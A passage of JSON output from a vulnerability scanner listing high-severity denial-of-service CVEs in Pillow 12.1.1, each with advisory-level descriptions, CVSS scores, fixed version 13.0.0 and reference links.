"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112402", "https://advisory.echohq.com/cve/CVE-2026-112402", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-43268/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/aafa6c75f7cdabb9f409a8aac7c780bea31d08d9", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-7mwm-ghpf-9vrm", "https://linux.oracle.com/cve/CVE-2026-112402.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112402", "https://www.cve.org/CVERecord?id=CVE-2026-112402" ], "PublishedDate": "2026-10-19T22:17:07.633Z", "LastModifiedDate": "2026-10-27T21:03:13.88Z" }, { "VulnerabilityID": "CVE-2026-112404", "VendorIDs": [ "GHSA-c6hw-5grf-ff96" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112404", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:198ab8fecd784f2c6c9e620d01fc3feebd45f468160bacc6c4e6b2af47407e43", "Title": "pillow: Pillow: Denial of Service via out-of-bounds read in TIFF decoding", "Description": "Pillow is a Python imaging library. From 8.1.0 until 13.0.0, Pillow's TIFF tile and RGBA decode paths can read beyond row data produced by libtiff. In _decodeTile and the RGBA unpacker path, when Pillow and libtiff interpret duplicated PhotometricInterpretation or BitsPerSample tags differently, Pillow does not verify that the required input row fits inside the row libtiff produced, while the strip path has this validation. Loading pixels from such a crafted TIFF can expose adjacent heap data in output pixels or crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-126" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112404", "https://advisory.echohq.com/cve/CVE-2026-112404", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96", "https://nvd.nist.gov/vuln/detail/CVE-2026-112404", "https://www.cve.org/CVERecord?id=CVE-2026-112404" ], "PublishedDate": "2026-10-19T22:17:07.9Z", "LastModifiedDate": "2026-10-28T16:17:02.273Z" }, { "VulnerabilityID": "CVE-2026-112405", "VendorIDs": [ "GHSA-cp9v-662q-vvx9" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112405", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1f63e7d45644b7c81ec01a6ac9e095f46bc135901d8cc10c2fba5608e964d6bb", "Title": "pillow: Pillow: Denial of Service via null pointer dereference in Image.merge()", "Description": "Pillow is a Python imaging library. From 12.0.0 until 13.0.0, Pillow's Image.merge() can dereference a null image8 plane. Validation skips the first input band, allowing a 32-bit integer or floating-point image backed by image32 storage to be merged as a narrower multiband image. A crafted IPTC file can reach this path when an application opens and loads it, or a caller can invoke Image.merge() directly with such a first band. This causes a native process crash. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112405", "https://advisory.echohq.com/cve/CVE-2026-112405", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-10844/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9", "https://linux.oracle.com/cve/CVE-2026-112405.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112405", "https://www.cve.org/CVERecord?id=CVE-2026-112405" ], "PublishedDate": "2026-10-19T22:17:08.027Z", "LastModifiedDate": "2026-10-27T14:59:59.923Z" }, { "VulnerabilityID": "CVE-2026-112406", "VendorIDs": [ "GHSA-f2g6-542v-9j58" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112406", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:3eddcfd33cab5fc8c561f5edecda0167e0e4e50144ae4ece4d2c2fc490743a96", "Title": "pillow: pillow: Denial of Service via infinite loop during PDF page rewriting", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112406", "https://advisory.echohq.com/cve/CVE-2026-112406", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-82408/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/b3ebf20c694f2f12537a629c30229a1d5a53f777", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-f2g6-542v-9j58", "https://linux.oracle.com/cve/CVE-2026-112406.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112406", "https://www.cve.org/CVERecord?id=CVE-2026-112406" ], "PublishedDate": "2026-10-19T22:17:08.153Z", "LastModifiedDate": "2026-10-27T14:59:51.513Z" }, { "VulnerabilityID": "CVE-2026-112892", "VendorIDs": [ "GHSA-gg2r-wvfm-q9rx" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112892", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:29ece08fab8d3fa9c0b388726c09f5f420fc9ba0b2dc438759c3d8f54963e630", "Title": "pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder", "Description": "Pillow is a Python imaging library. From 4.1.0 until 13.0.0, Pillow's MSP RLE decoder can expand a small file into an unbounded in-memory buffer. The decoder writes run-length output to BytesIO without limiting expansion to the declared image size. An attacker can supply a crafted MSP image to an application that loads its pixels. This can exhaust memory and deny service even when the declared pixel count passes the decompression-bomb check. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-409" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112892", "https://advisory.echohq.com/cve/CVE-2026-112892", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-81271/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/5dcb630b9798efd91929cb873d677aeee6ed0bb3", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-gg2r-wvfm-q9rx", "https://linux.oracle.com/cve/CVE-2026-112892.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112892", "https://www.cve.org/CVERecord?id=CVE-2026-112892" ], "PublishedDate": "2026-10-19T22:17:09.21Z", "LastModifiedDate": "2026-10-27T14:59:30.563Z" }, { "VulnerabilityID": "CVE-2026-112893", "VendorIDs": [ "GHSA-j4m9-6w36-pw47" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112893", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a49f761b3fef71d7713b706a280c57f399ac2e7264379c882504f85038702761", "Title": "pillow: Pillow: Denial of Service via invalid pointer free during font rendering", "Description": "Pillow is a Python imaging library. From 10.0.0 until 13.0.0, Pillow can free an invalid glyph pointer during FreeType rendering with an active stroker. If FT_Load_Glyph fails, cleanup may call FT_Done_Glyph on an uninitialized or stale glyph variable. An attacker can supply a malformed font as untrusted bytes to an application that draws text with a nonzero stroke width, forcing the glyph-load failure path. This can corrupt memory or crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-457", "CWE-763" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112893", "https://advisory.echohq.com/cve/CVE-2026-112893", "https://getsafety.com/v/SFTY-20261021-31867/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47", "https://nvd.nist.gov/vuln/detail/CVE-2026-112893", "https://www.cve.org/CVERecord?id=CVE-2026-112893" ], "PublishedDate": "2026-10-19T22:17:09.35Z", "LastModifiedDate": "2026-10-28T16:17:02.413Z" }, { "VulnerabilityID": "CVE-2026-112894", "VendorIDs": [ "GHSA-jg86-v3jv-hrpm" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112894", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:7ed185b46804e23591623431f7bfa2bddb641ffa9cc8cd477e510d1242d910e5", "Title": "pillow: pillow: Denial of Service via crafted multi-frame image conversion", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow takes quadratic time to reserve PDF object identifiers when saving many frames with save_all enabled. PdfParser.next_object_id() repeatedly rebuilds and scans all previously reserved identifiers for every object. An attacker can supply a multi-frame image, including a small APNG with a large declared frame count, to an application that converts it to a multipage PDF. This can consume excessive CPU and deny service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112894", "https://advisory.echohq.com/cve/CVE-2026-112894", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-17221/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/f6a852555f1a1bdff7781abf25f1a3b8bd6ce6cb", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-jg86-v3jv-hrpm", "https://linux.oracle.com/cve/CVE-2026-112894.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112894", "https://www.cve.org/CVERecord?id=CVE-2026-112894" ], "PublishedDate": "2026-10-19T22:17:09.483Z", "LastModifiedDate": "2026-10-27T14:56:28.823Z" }, { "VulnerabilityID": "CVE-2026-112895", "VendorIDs": [ "GHSA-p4wg-p73j-c528" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112895", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:bdcd0285d96ca52d34209d48baa406dee9b16f4c6e663038330b5bb27c447ff9", "Title": "pillow: pillow: Denial of service via crafted PDF during append operations", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can exhaust resources while parsing an existing PDF during an append operation. PdfParser follows page-tree child references without cycle or duplication tracking and follows previous-trailer chains with only an exact repeated-offset guard, so deep or cyclic page trees and long chains of unique trailer offsets can exhaust the Python stack. Repeated non-cyclic /Kids references can also cause super-linear CPU and memory use. An attacker can supply such a PDF to an application that calls Image.save with PDF append enabled. This can raise an uncaught RecursionError or consume excessive CPU and memory before output is written, causing denial of service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-674" ], "VendorSeverity": { "alma": 3, "bitnami": 3, 